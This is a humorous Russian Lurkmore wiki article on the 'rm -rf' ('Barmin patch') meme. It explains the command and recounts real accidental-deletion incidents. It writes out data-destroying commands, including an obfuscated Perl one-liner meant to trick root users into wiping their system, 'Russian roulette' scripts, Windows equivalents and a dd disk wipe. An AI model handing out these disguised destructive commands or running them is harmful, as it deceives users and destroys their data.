Персональные инструменты
Счётчики

rm -rf

Материал из Lurkmore
(перенаправлено с «Патч бармина»)
Перейти к: навигация, поиск
sudo rm -rf *

rm -rf — линуксовая команда (если быть более точным, Unix'овая, однако в интернетах больше ассоциируется с Линуксом). Обычно употребляется в виде «rm -rf /*» (почему — см. ниже)

Содержание

[править] Значение

  • Сама команда rm — удалить (remove) (файл(ы) и/или каталог(и)).
  • Ключ -r — recursively (рекурсивно) — позволяет удалять каталоги со всем содержимым, без этого ключа команда отвечает «каталог не пуст».
  • Ключ -f — force — не спрашивать подтверждения (вообще команды Linux не страдают обычным маздаевским назойливым переспрашиванием «а Вы точно уверены?», это редкое исключение (и то, только потому, что почти всегда по умолчанию в .bashrc прописано alias rm='rm -i')). Некоторые побочные эффекты опции описаны в мане.
  • Традиции Unix позволяют в большинстве программ объединять ключи, то бишь «-rf» эквивалентно «-r -f».
  • Фактически ключ «-rf» по действию аналогичен фразе «Всё и сразу!».

Таким образом, суть команды — удалить каталог рекурсивно, не спрашивая подтверждения. Обычно речь идёт о «/» — корневом каталоге. Большинство современных юниксов (свежие версии OpenSolaris и GNU/Linux) не дают ламеру выстрелить себе в ногу: rm -rf / не работают. Хотя всё спокойно удаляется при использовании ключа «--no-preserve-root». Кагбэ так: «rm -rf / --no-preserve-root» Kekeke. Есть и другой вариант: rm -rf /*

FreeBSD понимает эту команду в несколько изменённом виде: rm -fr /, а в последних версиях данная вещь не работает из-за использования флагов файловой системы (их надо сначала снять — chflags -R −0 /). В зависимости от уровня безопасности системы, может потребоваться перезагрузка в однопользовательский режим, что есть геморойно.

Windows понимает эту команду как rmdir /s /q C:\ или rd /s /q C:\, где /s — аналог -r, а /q — аналог -f. При этом удаляется только содержимое диска C: из-за отличий в файловой системе. Впрочем, есть и другой способ: установить Cygwin и воспользоваться традиционной командой. Ну, и не забываем про format c.

[править] Использование

Пример использования

Использование команды двояко:

  • В качестве травли линукс-нубов; [1]
  • В качестве травли ламеров, которые работают в системе, в том числе сидят в интернетах, из-под рута. Обычно в этом случае заветная строчка маскируется (ибо примитивный вариант проходит только с нубами):
echo "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see' 

Тем, кто не понял, расскажет Крыса-кун: порция echo "test... test... test..." на самом деле на выполнение команды не влияет и добавлена, скорее всего, для усыпления бдительности. Echo просто выводит сообщение в консоли с заданным в кавычках текстом — в данном случае следующая строчка будет содержать «test… test… test…»

$ echo "test... test... test..."
test... test... test...
$

А вот что происходит в Perl'овом коде — совсем не очевидно из-за того, что это язык вуду преднамеренно запутанного написания. В сущности, всё просто: в данной строчке записано всего три последовательно выполняемых команды. Произведём первую итерацию и запишем поданную команду следующим образом:

$? ? s:;s:s;;$?: : s;;=]=>%-{<-|}<&|`{; ;
y; -/:-@[-`{-};`-{/" -; ;
s;;$_;see

Первая конструкция анализирует переменную $? — код возврата предыдущей команды. Так как перед выполнением этой конструкции дочерних процессов не создавалось, $? будет содержать 0, и выполнена будет вторая «ветка» — s;;=]=>%-{<-|}<&|`{;. Эта команда, в свою очередь, заменяет строку в переменной-аккумуляторе $_ на =]=>%-{<-|}<&|`{ (первый символ после s устанавливает ограничитель параметров этого оператора, и хотя традиционно используются слэш '/' или труба '|', для неясности в этой конструкции используется ограничитель ';').

Вторая команда транслирует содержимое «аккумулятора» по достаточно сложным правилам. В левой части указано четыре диапазона символов, в правой — один. Если раскрыть эти диапазоны, получим следующее соответствие:

  !"#$%&'()*+,-./:;<=>?@[\]^_`{|}
 `abcdefghijklmnopqrstuvwxyz{/" -

В результате содержимое $_ принимает вид system"rm -rf /".

Третья же команда дважды (как инструктирует флаг ee) «вычисляет» содержимое аккумулятора — вышеуказанную деструктивную команду — и пытается заменить пустую строку в аккумуляторе на результат сего вычисления, но автору результат замены уже не интересен. Еще подробнее

Есть еще один вариант, уже для нубов, считающих себя Ъ-линуксоидами:

mkdir test
cd test
touch ./-r
touch ./-f
su
rm * /

Под Виндой-95-98 данный патч был всё-таки портирован и принял вид deltree /y e: d: c:
Почему такой порядок дисков? Чтобы сначала удалились мегабайты прона (тогда гигами не меряли), а затем система. Также предлагался «универсальный ключ реестра для избавления от шароварности программ», который записывал сию команду в Run, а заодно отключал мышь и клаву. При следующей загрузке, если юзер и догадывался о причине странного жужжания винта, спасти мог только быстрый, решительный Reset (но юзер загипнотизированно смотрел на зависший мышекурсор и вспоминал о кнопке, когда было уже поздно).

Также, вариант для новых coreutils:

echo "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`~{;;y; -/:-@[-`{|~};`-{/" *-;;s;;$_;see'

[править] rm -rf /usr и Bumblebee

Недавний пример случайного использования мема случился летом 2011 года в проекте Bumblebee, представляющем собой костыль для поддержки технологии NVidia Optimus в ноутбуках с двумя видеокартами. Файл install.sh в исходниках данного проекта содержал безобидную строчку

rm -rf /usr /lib/nvidia-current/xorg/xorg

Эта строка, как нетрудно заметить, удаляет директорию /usr, в которой в современных линуксах содержатся чуть менее, чем все библиотеки, бинарники, и всё остальное. Баг был быстро пойман и исправлен, что не помешало багтрекеру проекта на github стать на несколько дней филиалом форчана, с макросами, пони и прочим.

[править] rmdir /s /q C:\ и Яндекс.Диск

В конце ноября — начале декабря 2013 г. счастливые пользователи Яндекс.Диска были обрадованы тем, что их ОС либо наотрез отказалась запускаться, либо запускалась, но без установленных программ. Как выяснилось, всему виной оказалось обновление Яндекс. Диска, которое отличилось широкой русской душой и вместо папки со старой версией «Диска» удаляло весь диск C:, на котором тот находился. Что характерно, проблема возникала прежде всего у пользователей, нарушивших заповедь «Не работай под рутом», вот только у многих считающих себя умнее системных архитекторов Windows юзверей это — нормальная ситуация. Особенно доставили объяснения менеджера Яндекса, призвавшего пользователей не удалять Яндекс.Диск, потому что патч Бармина скрывался именно в модуле деинсталляции. Спешите видеть — Яндекс взял в заложники ваш жесткий диск и хладнокровно убьет его, если вы попытаетесь удалить захватчика!

[править] rm -rf my-company

Марко Марсала, который когда-то был хостинг-провайдером. Небольшим таким хостинг-провайдером с полутора тысячами пользователей. И он случайно на всех серверах bash-скрипт, содержащий строчку rm -rf {foo}/{bar}. И всё бы ничего, но он забыл придать какие-нибудь значения переменным foo и bar… Когда Марко пришёл на айтишный форум спрашивать, как теперь можно починить всё взад, ему так и не удалось добиться внятного ответа, потому что форумные петросяны, вместо того, чтобы посочувствовать, наперебой спешили сообщить ему, что он смог одной строчкой кода удалить свою компанию.

[править] Патч Бармина

В околофидошных кругах rm -rf часто называют патчем Бармина — в честь Владимира Бармина, UNIX-админа. Последний, в релкомовской группе новостей, на вопросы вида «как починить <…> в SCO Unix?» несколько раз ответил «универсальным патчем: rm -rf / от рута».

На основе данного патча была разработана комбинация, получившая название Русской Рулетки.

# [ $[ $RANDOM % 6 ] == 0 ] && rm -rf /* || echo "Жив"

Играть в Русскую Рулетку имеют право только администраторы (root), желательно на сервере, имеющем свыше 3000 посещений в день. Как было выяснено админами Ниеншанца (на практике), данная комбинация успешно работает в Linux и FreeBSD в последних версиях coreutils.

Версия Русской Рулетки под Windows:

set /a R=0+(6*%random%)/%random% & if !R! == 0 (rd /s /q .\) else (echo alive!)

Сей перл не заработает, если перед этим не включить расширенную обработку команд:

setlocal enabledelayedexpansion

А всё потому, что в этой вашей винде она по умолчанию выключена, а вытащить переменную в знаках «!» можно только при ней включенной. Nuff said.

[править] Патч Бармина и корпорация Avaya

В 2013 году вышла версия системы статистики и управления Avaya Call Management System R17, которая наконец-то была портирована с этих ваших соларисов на Linux. В частности, там содержался скрипт cleanup, который по замыслу индусов должен был чистить мусор. В самом конце был такой код:

TMPLIST=`ls -1A /tmp | sed 's/^/tmp\//' | egrep -v "$EXCL_RM_MEDIA"`
cd /
# Remove files in /tmp that have not been accessed in 28 days
find $TMPLIST -xautofs -xdev -mtime +28 -exec rm -rf {} \; >/dev/null 2>&1

Забавный эффект обнаруживался, если директория /tmp была пустая. Корпорация объяснила это тем, что в solaris путь для find — обязателен, а в Linux — нет.

[править] Патч Бармина живее всех живых

В конце января 2016 некий арчевод решил поиграться этим известным патчем перед тем как переразметить свой диск. Он старательно вписал в команду даже специальный ключ, без которого этот патч не запускается... Ну... и... получил кирпич из своего MSI нетбука - после включения даже подсветка экрана не загоралась!

Как нетрудно догадаться патч вытер вместе с корнем еще и переменные UEFI в NVRAM, которые монтируются в /sys/firmware/efi/efivars/, но принципиально это не могло быть проблемой, потому как по стандарту UEFI должна проверять целостность данных в NVRAM, и в случае нарушения целостности она ОБЯЗАНА осуществить инициализацию NVRAM до состояния настроек по умолчанию/фабричных (Factory Default). Но вот в MSI решили подзабить на проверку целостности NVRAM, и незадачливый арчевод потащил свой нетбук кирпич в сервис.

После этой новости состоялся эпичненький наезд[2] на разработчиков SystemD (а на них - грех не поругаться, они же сами постоянно подкидывают подлянки поводы для вполне обоснованной ругани в свой адрес): мол какого лешего, SystemD монтирует эти переменные с возможностью записи!? Давайте быстро переделывайте на монтирование в режиме только-чтение. На что был дан резонный ответ - доступ на запись нужен утилитам, и разрешена запись только руту, который при желании премонтирует эти переменные в режиме записи. Так что, это не защитит от идиотов дураков "умников", которые экспериментируют с патчем Бармина.

Самое же примечательное в этой истории то, что 20 лет назад отпущенная шутка, до сих пор стреляет, да еще с невиданной доселе мощью.


[править] Пруфлинки

[править] Алсо

Есть более кровожадный вариант sudo dd if=/dev/zero of=/dev/sda, который заполняет все нулями, вероятность сохранения данных обратно пропорциональна времени реакции поциэнта (с момента нажатия на [Enter] до момента прерывания команды нервным нажатием Ctrl+C).

[править] Ссылки

[править] См. также


BSD-fuck-linux gray.jpg Rm -rf — лучше всех! Я гарантирую это!
Системы  AndroidDOSFreeBSD • Haiku • LinuxMenuetOSOS X / ХакинтошOS/2ReactOSWindows / ВиндаРусОСФантом ОС
Среды  GNOMEGNU EmacsKDE
Люди  БаллмерГенерал ФейлорПоттерингСтоллманТорвальдсФолькердинг
Дистрибутивы Linux  ArchDebianFedoraFinnixGentooLFSUbuntu (BolgenOS) • Слака
Версии винды  Виста (говносборки) • СемёркаWindows Phone 7Windows Phone 8
Пользователи  АдминБздун • Виндузятник • КрасноглазикЛинуксоидЯблочник
Площадки  /s/LORru macru.os.cmpstoplinux.org.ru
Мемы  /dev/null • BSD, not LSD • GIFGNOME vs. KDEMac vs. PCOS-tanrm -rfSystem32TRUE-DEATH-PRIMITIVE-LINUX-MITOLLБубенВендекапецГномикиДаунгрейдЕсли бы…Ждём ебилдовКЛБМаздайПатчить KDE2 под FreeBSDПриборчикРаспечатать лицензию на ЛинуксТуксТупые свитчерыФеникс
App.png Rm -rf — это не баг, это фича!
Мета  DRM (SecuROMStarForce) • БагБот (Автоответчик) • БотнетВарезГлюкГуйДонатКопирайт (By design) • ЛогНюкРут (Не работай под рутом) • Спортивное программирование
Фичи  12309BSODCookiesEmbrace, extend and extinguishFL StudioSheep.exeWinlogon.exeБубенЗащита от дуракаКостыльМашинный переводПасхальные яйцаСвистелки и перделкиСм. рис. 1Съешь ещё этих мягких французских булок
Вредоносное  ВинлокЗвонилкаКитайские пингвиныПиксель смертиТроянЧервь Морриса
Компании  AppleGoogleMicrosoftSAPЯндекс
Движения  8-bitOpen source (КрасноглазикиЛинуксоиды) • Вирусная сценаДаунгрейдДемосценаМоддинг
Офис  3DS MAXGIMPGNU EmacsMovie MakerMS Paint • OpenOffice • PowerPointviWordБлокнотФотошоп
ОС  AndroidBSDDOSMenuetOSReactOSWindows (Phone 7Phone 8SevenVista) / МаздайЛинуксРусская ОСФантом ОС
Браузеры  Internet ExplorerОпера • Тормозилла (ОгнелисLolifox) • Хром
Интернет  FlashI2PLow Orbit Ion CannonTorTunatic • Чат−клиенты (MirandaQIPSkypeАськаЖаббер)
Разработка  BrainFuckCC++JavaHaskellАссемблер
Люди  LovinGODБалмерГейтсГенерал ФейлорДжобсМитникПоттерингде РаадтСпольскиСтоллманТорвальдсШахиджанян
Костыли  Cygwin • PunkBusterT9WineWishmasterАнтивирусыХакинтош
Команды  ^H^WAlt+F4Ctrl+Alt+Delman/me/quitrm -rf